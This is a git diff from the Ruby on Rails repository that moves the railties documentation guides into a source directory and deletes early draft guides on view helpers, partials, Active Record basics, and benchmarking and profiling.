diff options
Diffstat (limited to 'railties/doc')
-rw-r--r-- | railties/doc/guides/actionview/helpers.markdown | 91 | ||||
-rw-r--r-- | railties/doc/guides/actionview/partials.markdown | 90 | ||||
-rw-r--r-- | railties/doc/guides/activerecord/basics.markdown | 56 | ||||
-rw-r--r-- | railties/doc/guides/benchmarking_and_profiling/basics.txt | 55 | ||||
-rw-r--r-- | railties/doc/guides/benchmarking_and_profiling/definitions.txt | 22 | ||||
-rw-r--r-- | railties/doc/guides/benchmarking_and_profiling/preamble.txt | 44 | ||||
-rw-r--r-- | railties/doc/guides/html/actioncontroller_basics.html | 1125 | ||||
-rw-r--r-- | railties/doc/guides/html/association_basics.html | 2577 | ||||
-rw-r--r-- | railties/doc/guides/html/authors.html | 227 | ||||
-rw-r--r-- | railties/doc/guides/html/benchmarking_and_profiling.html | 1015 | ||||
-rw-r--r-- | railties/doc/guides/html/caching_with_rails.html | 577 | ||||
-rw-r--r-- | railties/doc/guides/html/creating_plugins.html | 1402 | ||||
-rw-r--r-- | railties/doc/guides/html/debugging_rails_applications.html | 1051 | ||||
-rw-r--r-- | railties/doc/guides/html/finders.html | 901 | ||||
-rw-r--r-- | railties/doc/guides/html/form_helpers.html | 570 | ||||
-rw-r--r-- | railties/doc/guides/html/getting_started_with_rails.html | 1895 | ||||
-rw-r--r-- | railties/doc/guides/html/index.html | 381 | ||||
-rw-r--r-- | railties/doc/guides/html/layouts_and_rendering.html | 1199 | ||||
-rw-r--r-- | railties/doc/guides/html/migrations.html | 921 | ||||
-rw-r--r-- | railties/doc/guides/html/routing_outside_in.html | 2183 | ||||
-rw-r--r-- | railties/doc/guides/html/security.html | 1280 | ||||
-rw-r--r-- | railties/doc/guides/html/testing_rails_applications.html | 1751 | ||||
-rw-r--r-- | railties/doc/guides/source/actioncontroller_basics/cookies.txt (renamed from railties/doc/guides/actioncontroller/cookies.txt) | 0 | ||||
-rw-r--r-- | railties/doc/guides/source/actioncontroller_basics/filters.txt (renamed from railties/doc/guides/actioncontroller/filters.txt) | 0 | ||||
-rw-r--r-- | railties/doc/guides/source/actioncontroller_basics/http_auth.txt (renamed from railties/doc/guides/actioncontroller/http_auth.txt) | 0 | ||||
-rw-r--r-- | railties/doc/guides/source/actioncontroller_basics/index.txt (renamed from railties/doc/guides/actioncontroller/actioncontroller.txt) | 0 | ||||
-rw-r--r-- | railties/doc/guides/source/actioncontroller_basics/introduction.txt (renamed from railties/doc/guides/actioncontroller/introduction.txt) | 0 | ||||
-rw-r--r-- | railties/doc/guides/source/actioncontroller_basics/methods.txt (renamed from railties/doc/guides/actioncontroller/methods.txt) | 0 | ||||
-rw-r--r-- | railties/doc/guides/source/actioncontroller_basics/parameter_filtering.txt (renamed from railties/doc/guides/actioncontroller/parameter_filtering.txt) | 0 | ||||
-rw-r--r-- | railties/doc/guides/source/actioncontroller_basics/params.txt (renamed from railties/doc/guides/actioncontroller/params.txt) | 0 | ||||
-rw-r--r-- | railties/doc/guides/source/actioncontroller_basics/request_response_objects.txt (renamed from railties/doc/guides/actioncontroller/request_response_objects.txt) | 0 | ||||
-rw-r--r-- | railties/doc/guides/source/actioncontroller_basics/rescue.txt (renamed from railties/doc/guides/actioncontroller/rescue.txt) | 0 | ||||
-rw-r--r-- | railties/doc/guides/source/actioncontroller_basics/session.txt (renamed from railties/doc/guides/actioncontroller/session.txt) | 0 | ||||
-rw-r--r-- | railties/doc/guides/source/actioncontroller_basics/streaming.txt (renamed from railties/doc/guides/actioncontroller/streaming.txt) | 0 | ||||
-rw-r--r-- | railties/doc/guides/source/actioncontroller_basics/verification.txt (renamed from railties/doc/guides/actioncontroller/verification.txt) | 0 | ||||
-rw-r--r-- | railties/doc/guides/source/active_record_basics.txt | 120 | ||||
-rw-r--r-- | railties/doc/guides/source/association_basics.txt (renamed from railties/doc/guides/activerecord/association_basics.txt) | 3 | ||||
-rw-r--r-- | railties/doc/guides/source/authors.txt (renamed from railties/doc/guides/authors.txt) | 0 | ||||
-rw-r--r-- | railties/doc/guides/source/benchmarking_and_profiling/appendix.txt (renamed from railties/doc/guides/benchmarking_and_profiling/appendix.txt) | 9 | ||||
-rw-r--r-- | railties/doc/guides/source/benchmarking_and_profiling/digging_deeper.txt (renamed from railties/doc/guides/benchmarking_and_profiling/digging_deeper.txt) | 0 | ||||
-rw-r--r-- | railties/doc/guides/source/benchmarking_and_profiling/edge_rails_features.txt (renamed from railties/doc/guides/benchmarking_and_profiling/edge_rails_features.txt) | 0 | ||||
-rw-r--r-- | railties/doc/guides/source/benchmarking_and_profiling/examples/graph.html (renamed from railties/doc/guides/benchmarking_and_profiling/examples/graph.html) | 0 | ||||
-rw-r--r-- | railties/doc/guides/source/benchmarking_and_profiling/gameplan.txt (renamed from railties/doc/guides/benchmarking_and_profiling/gameplan.txt) | 0 | ||||
-rw-r--r-- | railties/doc/guides/source/benchmarking_and_profiling/images/kgraph.png.html (renamed from railties/doc/guides/benchmarking_and_profiling/images/kgraph.png.html) | 0 | ||||
-rw-r--r-- | railties/doc/guides/source/benchmarking_and_profiling/images/klist.png.html (renamed from railties/doc/guides/benchmarking_and_profiling/images/klist.png.html) | 0 | ||||
-rw-r--r-- | railties/doc/guides/source/benchmarking_and_profiling/index.txt | 241 | ||||
-rw-r--r-- | railties/doc/guides/source/benchmarking_and_profiling/rubyprof.txt (renamed from railties/doc/guides/benchmarking_and_profiling/rubyprof.txt) | 0 | ||||
-rw-r--r-- | railties/doc/guides/source/benchmarking_and_profiling/statistics.txt (renamed from railties/doc/guides/benchmarking_and_profiling/statistics.txt) | 0 | ||||
-rw-r--r-- | railties/doc/guides/source/caching_with_rails.txt (renamed from railties/doc/guides/caching/caching_with_rails.txt) | 0 | ||||
-rw-r--r-- | railties/doc/guides/source/creating_plugins/acts_as_yaffle.txt (renamed from railties/doc/guides/creating_plugins/acts_as_yaffle.txt) | 0 | ||||
-rw-r--r-- | railties/doc/guides/source/creating_plugins/appendix.txt (renamed from railties/doc/guides/creating_plugins/appendix.txt) | 0 | ||||
-rw-r--r-- | railties/doc/guides/source/creating_plugins/basics.markdown (renamed from railties/doc/guides/creating_plugins/basics.markdown) | 0 | ||||
-rw-r--r-- | railties/doc/guides/source/creating_plugins/custom_generator.txt (renamed from railties/doc/guides/creating_plugins/custom_generator.txt) | 0 | ||||
-rw-r--r-- | railties/doc/guides/source/creating_plugins/custom_route.txt (renamed from railties/doc/guides/creating_plugins/custom_route.txt) | 0 | ||||
-rw-r--r-- | railties/doc/guides/source/creating_plugins/index.txt (renamed from railties/doc/guides/creating_plugins/creating_plugins.txt) | 0 | ||||
-rw-r--r-- | railties/doc/guides/source/creating_plugins/migration_generator.txt (renamed from railties/doc/guides/creating_plugins/migration_generator.txt) | 0 | ||||
-rw-r--r-- | railties/doc/guides/source/creating_plugins/odds_and_ends.txt (renamed from railties/doc/guides/creating_plugins/odds_and_ends.txt) | 0 | ||||
-rw-r--r-- | railties/doc/guides/source/creating_plugins/preparation.txt (renamed from railties/doc/guides/creating_plugins/preparation.txt) | 0 | ||||
-rw-r--r-- | railties/doc/guides/source/creating_plugins/string_to_squawk.txt (renamed from railties/doc/guides/creating_plugins/string_to_squawk.txt) | 0 | ||||
-rw-r--r-- | railties/doc/guides/source/creating_plugins/view_helper.txt (renamed from railties/doc/guides/creating_plugins/view_helper.txt) | 0 | ||||
-rw-r--r-- | railties/doc/guides/source/debugging_rails_applications.txt (renamed from railties/doc/guides/debugging/debugging_rails_applications.txt) | 192 | ||||
-rw-r--r-- | railties/doc/guides/source/finders.txt (renamed from railties/doc/guides/activerecord/finders.txt) | 42 | ||||
-rw-r--r-- | railties/doc/guides/source/form_helpers.txt (renamed from railties/doc/guides/forms/form_helpers.txt) | 0 | ||||
-rw-r--r-- | railties/doc/guides/source/getting_started_with_rails.txt (renamed from railties/doc/guides/getting_started_with_rails/getting_started_with_rails.txt) | 52 | ||||
-rw-r--r-- | railties/doc/guides/source/icons/README (renamed from railties/doc/guides/icons/README) | 0 | ||||
-rw-r--r-- | railties/doc/guides/source/icons/callouts/1.png (renamed from railties/doc/guides/icons/callouts/1.png) | bin | 329 -> 329 bytes | |||
-rw-r--r-- | railties/doc/guides/source/icons/callouts/10.png (renamed from railties/doc/guides/icons/callouts/10.png) | bin | 361 -> 361 bytes | |||
-rw-r--r-- | railties/doc/guides/source/icons/callouts/11.png (renamed from railties/doc/guides/icons/callouts/11.png) | bin | 565 -> 565 bytes | |||
-rw-r--r-- | railties/doc/guides/source/icons/callouts/12.png (renamed from railties/doc/guides/icons/callouts/12.png) | bin | 617 -> 617 bytes | |||
-rw-r--r-- | railties/doc/guides/source/icons/callouts/13.png (renamed from railties/doc/guides/icons/callouts/13.png) | bin | 623 -> 623 bytes | |||
-rw-r--r-- | railties/doc/guides/source/icons/callouts/14.png (renamed from railties/doc/guides/icons/callouts/14.png) | bin | 411 -> 411 bytes | |||
-rw-r--r-- | railties/doc/guides/source/icons/callouts/15.png (renamed from railties/doc/guides/icons/callouts/15.png) | bin | 640 -> 640 bytes | |||
-rw-r--r-- | railties/doc/guides/source/icons/callouts/2.png (renamed from railties/doc/guides/icons/callouts/2.png) | bin | 353 -> 353 bytes | |||
-rw-r--r-- | railties/doc/guides/source/icons/callouts/3.png (renamed from railties/doc/guides/icons/callouts/3.png) | bin | 350 -> 350 bytes | |||
-rw-r--r-- | railties/doc/guides/source/icons/callouts/4.png (renamed from railties/doc/guides/icons/callouts/4.png) | bin | 345 -> 345 bytes | |||
-rw-r--r-- | railties/doc/guides/source/icons/callouts/5.png (renamed from railties/doc/guides/icons/callouts/5.png) | bin | 348 -> 348 bytes | |||
-rw-r--r-- | railties/doc/guides/source/icons/callouts/6.png (renamed from railties/doc/guides/icons/callouts/6.png) | bin | 355 -> 355 bytes | |||
-rw-r--r-- | railties/doc/guides/source/icons/callouts/7.png (renamed from railties/doc/guides/icons/callouts/7.png) | bin | 344 -> 344 bytes | |||
-rw-r--r-- | railties/doc/guides/source/icons/callouts/8.png (renamed from railties/doc/guides/icons/callouts/8.png) | bin | 357 -> 357 bytes | |||
-rw-r--r-- | railties/doc/guides/source/icons/callouts/9.png (renamed from railties/doc/guides/icons/callouts/9.png) | bin | 357 -> 357 bytes | |||
-rw-r--r-- | railties/doc/guides/source/icons/caution.png (renamed from railties/doc/guides/icons/caution.png) | bin | 2554 -> 2554 bytes | |||
-rw-r--r-- | railties/doc/guides/source/icons/example.png (renamed from railties/doc/guides/icons/example.png) | bin | 2354 -> 2354 bytes | |||
-rw-r--r-- | railties/doc/guides/source/icons/home.png (renamed from railties/doc/guides/icons/home.png) | bin | 1340 -> 1340 bytes | |||
-rw-r--r-- | railties/doc/guides/source/icons/important.png (renamed from railties/doc/guides/icons/important.png) | bin | 2657 -> 2657 bytes | |||
-rw-r--r-- | railties/doc/guides/source/icons/next.png (renamed from railties/doc/guides/icons/next.png) | bin | 1302 -> 1302 bytes | |||
-rw-r--r-- | railties/doc/guides/source/icons/note.png (renamed from railties/doc/guides/icons/note.png) | bin | 2730 -> 2730 bytes | |||
-rw-r--r-- | railties/doc/guides/source/icons/prev.png (renamed from railties/doc/guides/icons/prev.png) | bin | 1348 -> 1348 bytes | |||
-rw-r--r-- | railties/doc/guides/source/icons/tip.png (renamed from railties/doc/guides/icons/tip.png) | bin | 2602 -> 2602 bytes | |||
-rw-r--r-- | railties/doc/guides/source/icons/up.png (renamed from railties/doc/guides/icons/up.png) | bin | 1320 -> 1320 bytes | |||
-rw-r--r-- | railties/doc/guides/source/icons/warning.png (renamed from railties/doc/guides/icons/warning.png) | bin | 2828 -> 2828 bytes | |||
-rw-r--r-- | railties/doc/guides/source/images/belongs_to.png (renamed from railties/doc/guides/activerecord/images/belongs_to.png) | bin | 34017 -> 34017 bytes | |||
-rw-r--r-- | railties/doc/guides/source/images/bullet.gif | bin | 0 -> 60 bytes | |||
-rw-r--r-- | railties/doc/guides/source/images/csrf.png (renamed from railties/doc/guides/securing_rails_applications/images/csrf.png) | bin | 41996 -> 41996 bytes | |||
-rw-r--r-- | railties/doc/guides/source/images/habtm.png (renamed from railties/doc/guides/activerecord/images/habtm.png) | bin | 63801 -> 63801 bytes | |||
-rw-r--r-- | railties/doc/guides/source/images/has_many.png (renamed from railties/doc/guides/activerecord/images/has_many.png) | bin | 38582 -> 38582 bytes | |||
-rw-r--r-- | railties/doc/guides/source/images/has_many_through.png (renamed from railties/doc/guides/activerecord/images/has_many_through.png) | bin | 100220 -> 100220 bytes | |||
-rw-r--r-- | railties/doc/guides/source/images/has_one.png (renamed from railties/doc/guides/activerecord/images/has_one.png) | bin | 39022 -> 39022 bytes | |||
-rw-r--r-- | railties/doc/guides/source/images/has_one_through.png (renamed from railties/doc/guides/activerecord/images/has_one_through.png) | bin | 92594 -> 92594 bytes | |||
-rw-r--r-- | railties/doc/guides/source/images/header_backdrop.png | bin | 0 -> 882 bytes | |||
-rw-r--r-- | railties/doc/guides/source/images/polymorphic.png (renamed from railties/doc/guides/activerecord/images/polymorphic.png) | bin | 85248 -> 85248 bytes | |||
-rw-r--r-- | railties/doc/guides/source/images/rails_logo_remix.gif | bin | 0 -> 8533 bytes | |||
-rw-r--r-- | railties/doc/guides/source/images/ruby_on_rails_by_mike_rundle2.gif | bin | 0 -> 6793 bytes | |||
-rw-r--r-- | railties/doc/guides/source/images/session_fixation.png (renamed from railties/doc/guides/securing_rails_applications/images/session_fixation.png) | bin | 47860 -> 47860 bytes | |||
-rw-r--r-- | railties/doc/guides/source/index.txt (renamed from railties/doc/guides/index.txt) | 30 | ||||
-rw-r--r-- | railties/doc/guides/source/layouts_and_rendering.txt (renamed from railties/doc/guides/actionview/layouts_and_rendering.txt) | 55 | ||||
-rw-r--r-- | railties/doc/guides/source/migrations/anatomy_of_a_migration.txt (renamed from railties/doc/guides/migrations/anatomy_of_a_migration.txt) | 0 | ||||
-rw-r--r-- | railties/doc/guides/source/migrations/changelog.txt (renamed from railties/doc/guides/migrations/changelog.txt) | 0 | ||||
-rw-r--r-- | railties/doc/guides/source/migrations/creating_a_migration.txt (renamed from railties/doc/guides/migrations/creating_a_migration.txt) | 0 | ||||
-rw-r--r-- | railties/doc/guides/source/migrations/foreign_keys.txt (renamed from railties/doc/guides/migrations/foreign_keys.txt) | 0 | ||||
-rw-r--r-- | railties/doc/guides/source/migrations/index.txt (renamed from railties/doc/guides/migrations/migrations.txt) | 0 | ||||
-rw-r--r-- | railties/doc/guides/source/migrations/rakeing_around.txt (renamed from railties/doc/guides/migrations/rakeing_around.txt) | 0 | ||||
-rw-r--r-- | railties/doc/guides/source/migrations/scheming.txt (renamed from railties/doc/guides/migrations/scheming.txt) | 0 | ||||
-rw-r--r-- | railties/doc/guides/source/migrations/using_models_in_migrations.txt (renamed from railties/doc/guides/migrations/using_models_in_migrations.txt) | 0 | ||||
-rw-r--r-- | railties/doc/guides/source/migrations/writing_a_migration.txt (renamed from railties/doc/guides/migrations/writing_a_migration.txt) | 0 | ||||
-rw-r--r-- | railties/doc/guides/source/routing_outside_in.txt (renamed from railties/doc/guides/routing/routing_outside_in.txt) | 27 | ||||
-rw-r--r-- | railties/doc/guides/source/security.txt (renamed from railties/doc/guides/securing_rails_applications/security.txt) | 271 | ||||
-rw-r--r-- | railties/doc/guides/source/stylesheets/base.css | 358 | ||||
-rw-r--r-- | railties/doc/guides/source/stylesheets/forms.css | 35 | ||||
-rw-r--r-- | railties/doc/guides/source/stylesheets/more.css | 82 | ||||
-rw-r--r-- | railties/doc/guides/source/templates/guides.html.erb | 97 | ||||
-rw-r--r-- | railties/doc/guides/source/templates/inline.css | 165 | ||||
-rw-r--r-- | railties/doc/guides/source/testing_rails_applications.txt (renamed from railties/doc/guides/testing_rails_applications/testing_rails_applications.txt) | 0 |
122 files changed, 20590 insertions, 602 deletions
diff --git a/railties/doc/guides/actionview/helpers.markdown b/railties/doc/guides/actionview/helpers.markdown deleted file mode 100644 index c702e83ff9..0000000000 --- a/railties/doc/guides/actionview/helpers.markdown +++ /dev/null @@ -1,91 +0,0 @@ -Helpers -==================== - -Helper Basics ------------------------- - -Helpers allow you to encapsulate rendering tasks as reusable functions. Helpers are modules, not classes, so their methods execute in the context in which they are called. They get included in a controller (typically the ApplicationController) using the helper function, like so - - Class ApplicationController < ActionController::Base - … - helper :menu - - def … - end - end - -In this way, methods in the menu helper are made available to any view or partial in your application. These methods can accept parameters, for example controller instance variables (eg; records or record collections gathered by you current controller), items from the view or partial’s locals[] hash or items from the params[] hash. You may wish to pass your controller instance variables and items from the params[] hash to the locals hash before rendering (See the section on partials). Helper methods can also accept an executable block of code. - -It is important to remember, though, that helpers are for rendering, and that they become available once a controller method has returned, while Rails is engaged in rendering the contents generated by a controller method. This means that helper methods are not available from within the methods of your controllers. - -Helpers can accomplish a variety of tasks, from formatting a complex tag for embedding content for a browser plugin (eg; Flash), to assembling a menu of options appropriate for the current context of your application, to generating sections of forms that get assembled on-the-fly. - -Helpers are organized around rendering tasks, so it is not necessary (nor necessarily desirable) to organize them around your application’s controllers or models. In fact, one of the benefits of helpers is that they are not connected via a rendering pipeline to specific controllers, like views and partials are. They can and should handle more generalized tasks. - -Here is a very simple, pseudo-example: - - module MenuHelper - def menu(records, menu_options={}) - item_options = menu_options.merge({<some stuff>}) - items = records.collect |record| do - menu_item(record, options) - end - content_tag(“ul”, items, options) - end - - def menu_item(record, item_options={})) - action = item_options[:action] - action ||= “show” - content_tag(“li”, link_to(record.title, :action => action, item_options) - end - end - - -This helper will require that records passed into it have certain fields (notably :title). The helper could be written to use this as a default, allowing the field to be overwritten by an element of item_options. - -Look at the Rails API for examples of helpers included in Rails, eg; [`ActionView::Helpers::ActiveRecordHelper`](http://api.rubyonrails.org/classes/ActionView/Helpers/ActiveRecordHelper.html). - -Passing Blocks to Helper Methods ------------------------- - -We mentioned before that blocks can be passed to helper methods. This allows for an interesting wrinkle: a block passed to a helper method can cause it to render a partial, which can then be wrapped by the helper method’s output. This can make your helper method much more reusable. It doesn’t need to know anything about the internals about what it is rendering, it just contextualizes it for the page. You can also use the helper to modify the locals hash for the partial, based on some configuration information unique to the current controller. You could implement a flexible themes system in this way. - - -Partials vs. Helpers? ------------------------- - -In general, the choice between using a partial vs. using a helper depends on the amount of flexibility you need. If the task is more about reacting to conditions than performing actual rendering, you may likely want a helper method. If you want to be able to call it from a variety of views, again, you may want to use a helper method. You can expect to extract helper methods out of code in views and partials during refactoring. - - -Tutorial -- Calling a Helper [UNFINISHED] ------------------------- - -1. Create a Rails application using `rails helper_test` -Notice the code: - - class ApplicationController < ActionController::Base - helper :all # include all helpers, all the time -For this tutorial, we'll keep this code, but you will likely want to exert more control over loading your helpers. - -2. Configure a database of your choice for the app. - -3. Inside of the `/app/helpers/` directory, create a new file called, `menu_helper.rb`. Write this in the file: - - module MenuHelpers - def menu(records, item_proc=nil) - items = records.collect{ |record| - menu_item(record, item_proc) - } - content_tag("ul", items) - end - - def menu_item(record, item_proc=nil) - item_url = item_proc.call(record) - item_url ||= { :action => :show } - content_tag("li", link_to(record.name, item_url)) - end - end - -4. Create a scaffold for some object in your app, using `./script/generate scaffold widgets`. -5. Create a database table for your widgets, with at least the fields `name` and `id`. Create a few widgets. -6. Call the menu command twice from `index.html.erb`, once using the default action, and once supplying a Proc to generate urls.
\ No newline at end of file diff --git a/railties/doc/guides/actionview/partials.markdown b/railties/doc/guides/actionview/partials.markdown deleted file mode 100644 index 2988b933bc..0000000000 --- a/railties/doc/guides/actionview/partials.markdown +++ /dev/null @@ -1,90 +0,0 @@ -A Guide to Using Partials -=============================== - -This guide elaborates on the use and function of partials in Ruby on Rails. As your Rails application grows, your view templates can start to contain a lot of duplicate view code. To manage and reduce this complexity, you can by abstract view template code into partials. Partials are reusable snippets of eRB template code stored in separate files with an underscore ('_') prefix. - -Partials can be located anywhere in the `app/views` directory. File extensions for partials work just like other template files, they bear an extension that denotes what kind of code they generate. For example, `_animal.html.erb` and `_animal.xml.erb` are valid filenames for partials. - -Partials can be inserted in eRB template code by calling the `render` method with the `:partial` option. For example: - - <%= render :partial => 'foo' %> - -This inserts the result of evaluating the template `_foo.html.erb` into the parent template file at this location. Note that `render` assumes that the partial will be in the same directory as the calling parent template and have the same file extension. Partials can be located anywhere within the `app/views` directory. To use a partial located in a different directory then it the parent, add a '/' before it: - - <%= render :partial => '/common/foo' %> - -Loads the partial file from the `app/views/common/_foo.html.erb` directory. - -Abstracting views into partials can be approached in a number of different ways, depending on the situation. Sometimes, the code that you are abstracting is a specialized view of an object or a collection of objects. Other times, you can look at partials as a reusable subroutine. We'll explore each of these approaches and when to use them as well as the syntax for calling them. - -Partials as a View Subroutine ------------------------------ - -Using the `:locals` option, you can pass a hash of values which will be treated as local variables within the partial template. - - <%= render :partial => "person", :locals => { :name => "david" } %> - -The variable `name` contains the value `"david"` within the `_person.html.erb` template. Passing variables in this way allows you to create modular, reusable template files. Note that if you want to make local variables that are optional in some use cases, you will have to set them to a sentinel value such as `nil` when they have not been passed. So, in the example above, if the `name` variable is optional in some use cases, you must set: - - <% name ||= nil -%> - -So that you can later check: - - <% if name -%> - <p>Hello, <%= name %>!</p> - <% end -%> - -Otherwise, the if statement will throw an error at runtime. - -Another thing to be aware of is that instance variables that are visible to the parent view template are visible to the partial. So you might be tempted to do this: - - <%= render :partial => "person" %> - -And then within the partial: - - <% if @name -%> - <p>Hello, <%= @name %>!</p> - <% end -%> - -The potential snag here is that if multiple templates start to rely on this partial, you will need to maintain an instance variable with the same name across all of these templates and controllers. This approach can quickly become brittle if overused. - -Partials as a View of an Object --------------------------------- - -Another way to look at partials is to view them as mini-views of a particular object or instance variable. Use the `:object` option to pass an object assigns that object to an instance variable named after the partial itself. For example: - - # Renders the partial, making @new_person available through - # the local variable 'person' - render :partial => "person", :object => @new_person - -If the instance variable `name` in the parent template matches the name of the partial, you can use a shortcut: - - render :partial => "person" - -Now the value that was in `@person` in the parent template is accessible as `person` in the partial. - -Partials as a View of a Collection ------------------------------------ - -Often it is the case that you need to display not just a single object, but a collection of objects. Rather than having to constantly nest the same partial within the same iterator code, Rails provides a syntactical shortcut using the `:collection` option: - - # Renders a collection of the same partial by making each element - # of @winners available through the local variable "person" as it - # builds the complete response. - render :partial => "person", :collection => @winners - -This calls the `_person.html.erb` partial for each person in the `@winners` collection. This also creates a local variable within the partial called `partial_counter` which contains the index of the current value. So for example: - - <%= partial_counter %>) <%= person -%> - -Where `@winners` contains three people, produces the following output: - - 1) Bill - 2) Jeff - 3) Nick - -One last detail, you can place an arbitrary snippet of code in between the objects using the `:spacer_template` option. - - # Renders the same collection of partials, but also renders the - # person_divider partial between each person partial. - render :partial => "person", :collection => @winners, :spacer_template => "person_divider" diff --git a/railties/doc/guides/activerecord/basics.markdown b/railties/doc/guides/activerecord/basics.markdown deleted file mode 100644 index 0d030fabf9..0000000000 --- a/railties/doc/guides/activerecord/basics.markdown +++ /dev/null @@ -1,56 +0,0 @@ -Active Record Basics -==================== - - - -The ActiveRecord Pattern ------------------------- - -Active Record (the library) conforms to the active record design pattern. The active record pattern is a design pattern often found in applications that use relational database. The name comes from by Martin Fowler's book *Patterns of Enterprise Application Architecture*, in which he describes an active record object as: - -> An object that wraps a row in a database table or view, encapsulates the database access, and adds domain logic on that data. - -So, an object that follows the active record pattern encapsulates both data and behavior; in other words, they are responsible for saving and loading to the database and also for any domain logic that acts on the data. The data structure of the Active Record should exactly match that of the database: one field in the class for each column in the table. - -The Active Record class typically has methods that do the following: - -* Construct an instances of an Active Record class from a SQL result -* Construct a new class instance for insertion into the table -* Get and set column values -* Wrap business logic where appropriate -* Update existing objects and update the related rows in the database - -Mapping Your Database ---------------------- - -### Plural tables, singular classes ### - -### Schema lives in the database ### - -Creating Records ----------------- - -### Using save ### - -### Using create ### - -Retrieving Existing Rows ------------------------- - -### Using find ### - -### Using find_by_* ### - -Editing and Updating Rows -------------------------- - -### Editing an instance - -### Using update_all/update_attributes ### - -Deleting Data -------------- - -### Destroying a record ### - -### Deleting a record ###
\ No newline at end of file diff --git a/railties/doc/guides/benchmarking_and_profiling/basics.txt b/railties/doc/guides/benchmarking_and_profiling/basics.txt deleted file mode 100644 index 2a34795b08..0000000000 --- a/railties/doc/guides/benchmarking_and_profiling/basics.txt +++ /dev/null @@ -1,55 +0,0 @@ -== On The Road to Optimization == -=== Looking at the log file in regards to optimization === - -You actually have been gathering data for benchmarking throughout your development cycle. Your log files are not just for error detection they also contain very useful information on how speedy your action is behaving. - -.Regular Log Output ----------------------------------------------------------------------------- - -Processing MediaController#index (for 127.0.0.1 at 2008-07-17 21:30:21) [GET] - - Session ID: BAh7BiIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxlcjo6Rmxhc2g6OkZsYXNo -SGFzaHsABjoKQHVzZWR7AA==--cb57dad9c5e4704f0e1eddb3d498fef544faaf46 - - Parameters: {"action"=>"index", "controller"=>"media"} - - [4;35;1mProduct Columns (0.003187)[0m [0mSHOW FIELDS FROM `products`[0m - [4;36;1mProduct Load (0.000597)[0m [0;1mSELECT * FROM `products` WHERE (`products`.`name` = 'Escape Plane') LIMIT 1[0m - -Rendering template within layouts/standard - -Rendering media/index - [4;35;1mTrack Load (0.001507)[0m [0mSELECT * FROM `tracks` WHERE (`tracks`.product_id = 1) [0m - [4;36;1mTrack Columns (0.002280)[0m [0;1mSHOW FIELDS FROM `tracks`[0m - -Rendered layouts/_header (0.00051) - -*Completed in 0.04310 (23 reqs/sec) | Rendering: 0.00819 (19%) | DB: 0.00757 (17%) | 200 OK [http://localhost/media]* ----------------------------------------------------------------------------- - -What concerns us here is the last line of the action. - -Completed in 0.04310 (23 reqs/sec) gives us the amount of requests this specific action can handle. 0.04310 is the total amount of time the process to complete and 23 reqs/sec is an estimation from this. As we will see this number is not strictly valid since is a single instance of the process. But it does give you a general feel as to how the action is performing. - -Rendering: 0.00819 (19%) is the amount in milliseconds and the percentage of total time needed to complete the action for rendering the view - -DB: 0.00757 (17%) is the amount in milliseconds and the percentage of total time needed to complete the action for querying the database - -Pretty easy right. But wait 17+19 equals 36. 36%! where is the rest of the time going? The rest of the time is being spent processing the controller. It is not shown but it is easy to calculate. Usually there is where most of your time ends on well functions actions. - -=== Why the Log File on it's Own is not Helpful === - -So why can't we just use this to test our rails application. Technically that could work, but would be very stressful and slow. You don't have time to view your log after every request to see if your code is running quickly. Also a request that runs 100 reqs/sec might simply be an outlier and really usually runs at 20 reqs/sec. It's simply not enough information to do everything we need it to do but it's a start. - -But there is something else we must consider. - -=== A Simple Question, a Complicated Answer === - -Is Completed in 0.04310 (23 reqs/sec) a good time. Seems like it doesn't it. 43 ms does not outrageous time for a dynamic page load. But is this a dynamic page load. Maybe it was all cached. In which case this is very slow. Or maybe I'm running on five year old equipment and this is actually blazing fast for my G3. The truth is that we can't answer the question given the data. This is part of benchmarking. We need a baseline. Through comparative analysis of all your pages in your app, and an simple dynamic page for a control we can determine how fast your pages are actually running and if any of them need to be optimized. - -And now for something completely different a short statistic lesson. - - - - - diff --git a/railties/doc/guides/benchmarking_and_profiling/definitions.txt b/railties/doc/guides/benchmarking_and_profiling/definitions.txt deleted file mode 100644 index 565c301772..0000000000 --- a/railties/doc/guides/benchmarking_and_profiling/definitions.txt +++ /dev/null @@ -1,22 +0,0 @@ -== Terminology == - -=== What We Mean by Benchmarking and Profiling === - -Benchmarking: If you are new to programing you probably have heard the term mostly in comparative reviews of computer and graphic card specs. If you done a bit of coding you've probably seen in mostly in terms of comparing one language to another or iterations of the same language. - -Benchmarking in rails is more fine grained. It entails comparing and contrasting various parts and pages of an application against one another. Mostly one is looking for how long a page requires to render, but memory consumption is also an area of concern. - -While benchmarking two different sets of problems can emerge. Either you find that a few pages are performing worse then the rest of your app unexpectedly or that your whole entire application is slower then it reasonably should be. From there you start to profile to find the problem. - -Profiling: When a page or process is seen to be problematic due to speed or memory consumption we profile it. Meaning we measures the behavior as the page or process runs, particularly the frequency and duration of function calls. The goal of profiling is not to find bugs, but to eliminate bottlenecks and establish a baseline for future regression testing. It must be engaged in a carefully controlled process of measurement and analysis. - -==== What does that actually mean? ==== - -You have to have a clear goal for when you benchmark and profile. It's very comparable to BDD where you are taking small steps towards a solution instead of trying to do it all in one large all encompassing step. A clearly defined set of expectations is essential for meaningful performance testing. We will talk more about this later. - -==== Where Does this Leave Us ==== - -Numbers and data. You benchmark to compare, your profile to fix. It's all about gaining data to analyze and using that information to better your application. The most important thing you should take away at the moment that this must be done in a systematic way. - -So the next logical question is how do we get this data. - diff --git a/railties/doc/guides/benchmarking_and_profiling/preamble.txt b/railties/doc/guides/benchmarking_and_profiling/preamble.txt deleted file mode 100644 index aa1b4e49c8..0000000000 --- a/railties/doc/guides/benchmarking_and_profiling/preamble.txt +++ /dev/null @@ -1,44 +0,0 @@ -Benchmarking and Profiling Rails -================================ -Matthew Bergman <MzbPhoto@gmail.com> -v0.6, September 2008 - -Benchmarking and Profiling is an important part of the development process that is not nearly enough talked about for beginning developers. Its hard enough learning a language and successfully writing an application. But without a firm understanding optimization, production ready apps are a near impossibility. No matter how well you code, or how much you know about a language there is always something that will trip up your application. - -This article is my attempt to give the basic knowledge and methodology needed to optimize your application as painlessly as possible. We are are attempting this on two fronts. Both as a straight explanation and also through a real example of how benchmarking can speed up an application. - -The main things that are covered are - -* The basics of statistical analysis -* Methodology behind benchmarking and profiling -* Reading the log file for optimization -* Performance Unit tests -* Working with Ruby-Prof -* HTTPREF #because you should know it -* Overview of dedicated analysis options - -There are a lot of areas we need to cover so lets start. - - -include::definitions.txt[] - -include::basics.txt[] - -include::statistics.txt[] - -include::edge_rails_features.txt[] - -include::rubyprof.txt[] - -include::digging_deeper.txt[] - -include::gameplan.txt[] - 